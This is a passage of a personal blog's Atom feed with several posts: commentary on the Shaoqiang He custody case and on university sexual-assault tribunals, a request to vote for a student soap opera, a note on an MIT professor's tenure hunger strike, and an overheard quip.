&amp;#8220;Casey&amp;#8221; Qin Luo, 34, a Chinese woman he met through a friend back home. She spoke no English, but she shared his strong faith and love for America, Mister He says. They planned to build a good life together.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;But in 1998, when Casey was pregnant with Anna Mae, her husband was charged with assaulting a fellow student. He and the student, a Chinese woman named Xiaojun Qi (pronounced Key), went to a computer lab alone; a week later Qi went to school officials, displayed bruises and said Mister He caused them during a sexual assault.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Mister He vehemently denies the allegation. He says he left the lab feeling uncomfortable after the woman asked him for a $500 loan. But the university dismissed him, his income from the university vanished and his student visa hung on his collegiate appeal.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;On Thanksgiving in 1998, the Hes left their one-bedroom apartment and went to the grocery store. They were attacked by several men, and Casey was knocked down. That night she began suffering vaginal bleeding. Her condition worsened until doctors finally, in January, delivered Anna Mae by C-section, one month premature.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;With a $12,000 hospital bill, a criminal assault charge and a continuing legal fight to try to get reinstated at the university, the Hes sought help in caring for their baby. Friends at their church suggested a local adoption agency.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Mid-South Christian Services agreed to place the baby in a foster home for three months. They placed her with Jerry and Louise Baker. &lt;br /&gt;&lt;/blockquote&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;One minor point: according to Factiva, the marriage between Shaoqiang&lt;br /&gt;He, 37 and Qin Luo, 33, is listed in the marriages section of the&lt;br /&gt;January 9, 2002 Memphis &lt;i&gt;Commercial Appeal&lt;/i&gt; &amp;#8212; meaning that the&lt;br /&gt;parents would &lt;strong&gt;not&lt;/strong&gt; have been married at the time of the birth of the&lt;br /&gt;child in four years before, in 1998.  Either the Appeal article is&lt;br /&gt;mis-dated (it wouldn&amp;#8217;t be the first time), or the &lt;strong&gt;Life&lt;/strong&gt; author has&lt;br /&gt;his timeline wrong (&amp;#8220;husband&amp;#8221; should have been &amp;#8220;future husband.&amp;#8221;)&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Soon after the Baker family foster placement, the legal wrangling over&lt;br /&gt;the child began. But the interesting part is how they got there: the&lt;br /&gt;University judicial process that prompted the He family to place their&lt;br /&gt;kid in foster care in the first place. It reminded me of a &lt;a&lt;br /&gt;href=&amp;#8220;http://www.thefire.org/index.php/article/169.html&amp;#8221;&gt;case on the&lt;br /&gt;Foundation for Individual Rights in Education&amp;#8217;s website:&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; A Harvard graduate student has been barred from&lt;br /&gt;continuing his studies because a fellow student accused him of sexual&lt;br /&gt;assault in January of 2002. The student was acquitted on all six&lt;br /&gt;counts of rape and assault by Middlesex Superior Court last August and&lt;br /&gt;his accuser was shown to be fabricating parts of her story at the&lt;br /&gt;trial. Despite this, Harvard has not readmitted him and has not&lt;br /&gt;dropped its own charges against him.  &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;(&lt;span class="caps"&gt;FIRE&lt;/span&gt;, it should be noted, is a pressure group &amp;#8212;- if you hadn&amp;#8217;t&lt;br /&gt;guessed when you saw that they refer to Harvard as &amp;#8220;Kafka on the&lt;br /&gt;Charles.&amp;#8221; Not that I disagree with much of what that they do.)&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;The &lt;a href="http://www.thefire.org/index.php/article/4698.html"&gt;Boston Globe&lt;/a&gt;&lt;br /&gt;and the &lt;a href="http://www.thefire.org/index.php/article/4513.html"&gt;Harvard&lt;br /&gt;Crimson&lt;/a&gt; also&lt;br /&gt;covered the case. As a biographical tidbit, the non-assault didn&amp;#8217;t&lt;br /&gt;happen in Child Hall, which is right near where I used to live. It&amp;#8217;s&lt;br /&gt;the Gropius-designed wall on the left side of &lt;a href="http://barillari.org/photos/keywords/gropius_complex/northcampusoutdoors1-img_3344.jpg.html"&gt;this&lt;br /&gt;photo.&lt;/a&gt;&lt;br /&gt;Apologies on the lack of a better picture. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;I don&amp;#8217;t know what has happened to the student in question, Georgi&lt;br /&gt;Zedginidze. The latest word that I saw was a &lt;a href="http://www.thecrimson.com/article.aspx?ref=357299"&gt;Crimson columnist&lt;/a&gt; blasting&lt;br /&gt;the University&amp;#8217;s policy of wrist-slapping convicted rapists while&lt;br /&gt;simultaneously jack-booting the acquitted. The author laments the&lt;br /&gt;&amp;#8220;Coalition against Sexual Violence&amp;#8217;s&amp;#8221; successful demands to eliminate&lt;br /&gt;the right of confrontation from the University judicial process. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Erin O&amp;#8217;Connor, who writes about academic excess, &lt;a href="http://www.erinoconnor.org/archives/2004/02/due_process_and.html"&gt;had similar complaints&lt;/a&gt; about the He case back in 2004:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;&lt;blockquote&gt;&lt;br /&gt;Had officials at the University of Memphis accorded Shaoqiang He due process, had they held firmly to the tenet that in this country a person is always innocent until proven guilty, he would not have been expelled on the basis of an accusation. He would not have been deprived of his education, he would not have had his career prospects ruined, and he would not have lost his daughter.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;[...]&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;The Hes plan to return to China after the dispute about their daughter is settled.&lt;br /&gt;&lt;/blockquote&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;If they do plan to return, now that they have four children, I wonder&lt;br /&gt;how they&amp;#8217;ll skirt the one-child policy? I understand that a lot of&lt;br /&gt;Chinese who intended to go back elect to stay in the U.S. when they&lt;br /&gt;realize that their kids will get the worst of it when they return.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;On that note, despite O&amp;#8217;Connor&amp;#8217;s closing line, Larry Parrish, the lawyer&lt;br /&gt;for the foster family, accused the Hes of engineering the dispute as a&lt;br /&gt;means of staying in America. An &lt;a&lt;br /&gt;href=&amp;#8220;http://media.www.dailyhelmsman.com/media/storage/paper875/news/2006/10/13/News/Custody.Battle.Continues.To.Rage-2348600.shtml?sourcedomain=www.dailyhelmsman.com&amp;MIIHost=media.collegepublisher.com&amp;#8221;&gt;article&lt;br /&gt;in the University of Memphis&amp;#8217;s student newspaper&lt;/a&gt; quotes Parrish:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;&lt;blockquote&gt;&lt;br /&gt;&amp;#8220;Jack He is extremely intelligent and very fluent and is a con-artist. He is the best I&amp;#8217;ve ever seen,&amp;#8221; Parrish said. &amp;#8220;He plays on the sympathies of other people. He creates situations that are not real.&amp;#8221;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Parrish contended the Hes were using the situation as a way to stay in America. If not for the custody battle the Hes would have been deported, Parrish said.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Parrish also said, &amp;#8220;he is the most dishonest witness I have ever seen. That&amp;#8217;s why the courts have found him completely without credibility.&amp;#8221;&lt;br /&gt;&lt;/blockquote&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;I assume this is the usual character assassination one would expect from&lt;br /&gt;an thorough attorney. Does it lend any credence to the original&lt;br /&gt;charges against He? It&amp;#8217;s doubtful: He was cleared by a court of law.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;And that&amp;#8217;s where the stories converge: in each of these cases, a&lt;br /&gt;University judicial system ignored the verdict of a court of law and&lt;br /&gt;soldiered on, either finding the student guilty or thrusting him into&lt;br /&gt;academic limbo. In the Harvard case, Zedginidze had taken a leave&lt;br /&gt;during the trial, and was all but told not to petition for&lt;br /&gt;re-admission, as Harvard might (if he reapplied) actually find him&lt;br /&gt;guilty of rape and expel him.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;According to the Globe, if Zedginidze managed to persuade the&lt;br /&gt;university to schedule a hearing, he&amp;#8217;d have no right to confront his&lt;br /&gt;accuser, no right of cross-examination, and no right to an attorney &amp;#8212;&lt;br /&gt;in other words, standard practice for &lt;strike&gt;the Star&lt;br /&gt;Chamber&lt;/strike&gt; a University tribunal. The Honor Committee at&lt;br /&gt;Princeton has much the same rules. I&amp;#8217;m not sure about the Committee on&lt;br /&gt;Discipline, but I&amp;#8217;d be shocked if it were much better.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;As for the He case, the articles that I&amp;#8217;ve read do not give the&lt;br /&gt;specifics of the University&amp;#8217;s sanctions. Was He actually expelled? Was&lt;br /&gt;he &amp;#8220;persuaded&amp;#8221; to take a leave of absence, as was Zedginidze? Or did&lt;br /&gt;the U. of Memphis just cancel his fellowship? As doctoral students are&lt;br /&gt;generally paid by the University to go to school, the latter would be&lt;br /&gt;a crippling loss. In most fields, if you &lt;strong&gt;are&lt;/strong&gt; paying for a doctorate,&lt;br /&gt;you&amp;#8217;re probably being ripped off. There is a &lt;i&gt;quid pro quo&lt;/i&gt;, of&lt;br /&gt;course: the students provide fairly cheap labor, which is why schools&lt;br /&gt;(particularly schools of the humanities) admit so many of them. But I&lt;br /&gt;digress &amp;#8212; you can read more about that&lt;br /&gt;&lt;a href="http://www.physics.wustl.edu/~katz/scientist.html"&gt;here.&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;In any event, one can only be happy that the He family has been&lt;br /&gt;reunited. One wonders how we ended up with a system were&lt;br /&gt;unaccountable-bureaucrat courts can ruin students&amp;#8217; careers (and,&lt;br /&gt;indirectly, break up families) on the basis of allegations that real&lt;br /&gt;courts have found to be baseless.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;On the other hand, would Shaoqiang He have fared better, had he not&lt;br /&gt;been in tried by the University of Memphis&amp;#8217;s tribunal, but in his&lt;br /&gt;native &lt;a href="http://hrw.org/doc/?t=asia&amp;#38;c=china"&gt;China?&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;The awful part is that I&amp;#8217;m not sure.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2955729976334328594?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2955729976334328594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2007/01/kafka-on-charles-chinese-child-theft.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2955729976334328594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2955729976334328594'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2007/01/kafka-on-charles-chinese-child-theft.html' title='Kafka on the Charles, Chinese child theft, and the usual sex scandals'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8307074853409111600</id><published>2007-01-16T11:24:00.000-08:00</published><updated>2009-10-01T16:36:02.614-07:00</updated><title type='text'>Bleg! Bleg! Bleg!</title><content type='html'>&lt;br /&gt;My brother Davide&amp;#8217;s soap opera &amp;#8220;The Gates&amp;#8221; made the semifinal round of&lt;br /&gt;the SoapU contest. If you can spare a second, I&amp;#8217;d love it if you could&lt;br /&gt;help him out by voting for his episode. (Voting takes about three&lt;br /&gt;seconds &amp;#8212; you don&amp;#8217;t actually have to watch the episode if you&amp;#8217;re in a&lt;br /&gt;hurry.)&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;To vote, just go to &lt;a href="http://soapu.com"&gt;SoapU.com&lt;/a&gt; and click&lt;br /&gt;the preview pic next to &amp;#8220;The Gates; Columbia University; Davide&lt;br /&gt;Barillari&amp;#8221;. The show should start playing. You can click one of the&lt;br /&gt;rating buttons below the video to vote for the episode. (I recommend a&lt;br /&gt;&amp;#8220;10&amp;#8221;, but of course, I&amp;#8217;m biased.)&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;I had some trouble with Firefox, but your mileage may vary &amp;#8212; I have&lt;br /&gt;some exotic extensions installed. Internet Explorer worked perfectly,&lt;br /&gt;though.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;If you had a chance to vote, thanks!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8307074853409111600?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8307074853409111600/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2007/01/bleg-bleg-bleg.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8307074853409111600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8307074853409111600'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2007/01/bleg-bleg-bleg.html' title='Bleg! Bleg! Bleg!'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-3937637768591890798</id><published>2007-01-10T18:40:00.000-08:00</published><updated>2009-10-01T16:36:01.431-07:00</updated><title type='text'>That's not something you see every day</title><content type='html'>&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;a href="http://www-tech.mit.edu/V126/N61/61sherley.html"&gt;BE Professor Threatens Hunger Strike to Protest Tenure Denial&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;By Joyce Kwan&lt;br /&gt;&lt;span class="caps"&gt;STAFF&lt;/span&gt; &lt;span class="caps"&gt;REPORTER&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;An African-American associate professor has threatened to go on hunger&lt;br /&gt;strike unless the provost resigns and his tenure is granted,&lt;br /&gt;protesting what he claims were racist motives behind the denial of his&lt;br /&gt;tenure. The Department of Biological Engineering decided not to&lt;br /&gt;advance BE Associate Professor James L. Sherley.s case for tenure on&lt;br /&gt;Dec. 13, 2004. Since then, Sherley has asked senior administrators to&lt;br /&gt;overturn his department&amp;#8217;s decision.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;[...]&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;In a December letter sent out to &lt;span class="caps"&gt;MIT&lt;/span&gt; faculty calling for support,&lt;br /&gt;Sherley said, &amp;#8220;I will either see the Provost resign and my hard-earned&lt;br /&gt;tenure granted at &lt;span class="caps"&gt;MIT&lt;/span&gt;, or I will die defiantly right outside his&lt;br /&gt;office. This is the strength of my conviction that racism in American&lt;br /&gt;[sic] must end. What better place to kill a small part of it than at a&lt;br /&gt;great institution like &lt;span class="caps"&gt;MIT&lt;/span&gt;.&amp;#8221;&lt;br /&gt; &lt;/blockquote&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;There&amp;#8217;s no doubt that the tenure process needs reform. That the&lt;br /&gt;current system makes it very difficult to have women to have both&lt;br /&gt;children and a high-powered academic career is beyond dispute. The&lt;br /&gt;left decries the lack of minority professors at top schools and cries&lt;br /&gt;racism. The right regularly blasts &amp;#8220;tenured radicals&amp;#8221; and demands&lt;br /&gt;limited-term contracts for faculty. (A small number of (usually&lt;br /&gt;obscure) schools have even tried this.) I have my doubts that&lt;br /&gt;Prof. Sherley&amp;#8217;s tactic will work, but I&amp;#8217;m also surprised that more of&lt;br /&gt;the media haven&amp;#8217;t picked up on this.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Incidentally, if you read magazines like &lt;i&gt;First Things&lt;/i&gt; or &lt;i&gt;The&lt;br /&gt;Weekly Standard&lt;/i&gt; and see references to an &lt;span class="caps"&gt;MIT&lt;/span&gt; professor who bashes&lt;br /&gt;embryonic-stem cell research and flogs adult stem cells, it&amp;#8217;s often&lt;br /&gt;Prof. Sherley. See, for instance,&lt;br /&gt;&lt;a href="http://www.firstthings.com/onthesquare/?p=498"&gt;this&lt;/a&gt; and&lt;br /&gt;&lt;a href="http://www.weeklystandard.com/Content/Public/Articles/000/000/012/861hhanx.asp?pg=2"&gt;this,&lt;/a&gt;&lt;br /&gt;both by my former college classmate Ryan Anderson.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-3937637768591890798?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/3937637768591890798/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2007/01/that-not-something-you-see-every-day.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3937637768591890798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3937637768591890798'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2007/01/that-not-something-you-see-every-day.html' title='That&amp;#39;s not something you see every day'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6364332989331832431</id><published>2006-12-11T18:48:00.000-08:00</published><updated>2009-10-01T16:36:08.226-07:00</updated><title type='text'>Overheard in the Lamont Cafe</title><content type='html'>&lt;br /&gt;&amp;#8220;Oh my God, do you think Goldman Sachs would have me take the&lt;br /&gt;Chinatown bus?&amp;#8221; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6364332989331832431?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6364332989331832431/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2006/12/overheard-in-lamont-cafe.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6364332989331832431'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6364332989331832431'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2006/12/overheard-in-lamont-cafe.html' title='Overheard in the Lamont Cafe'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
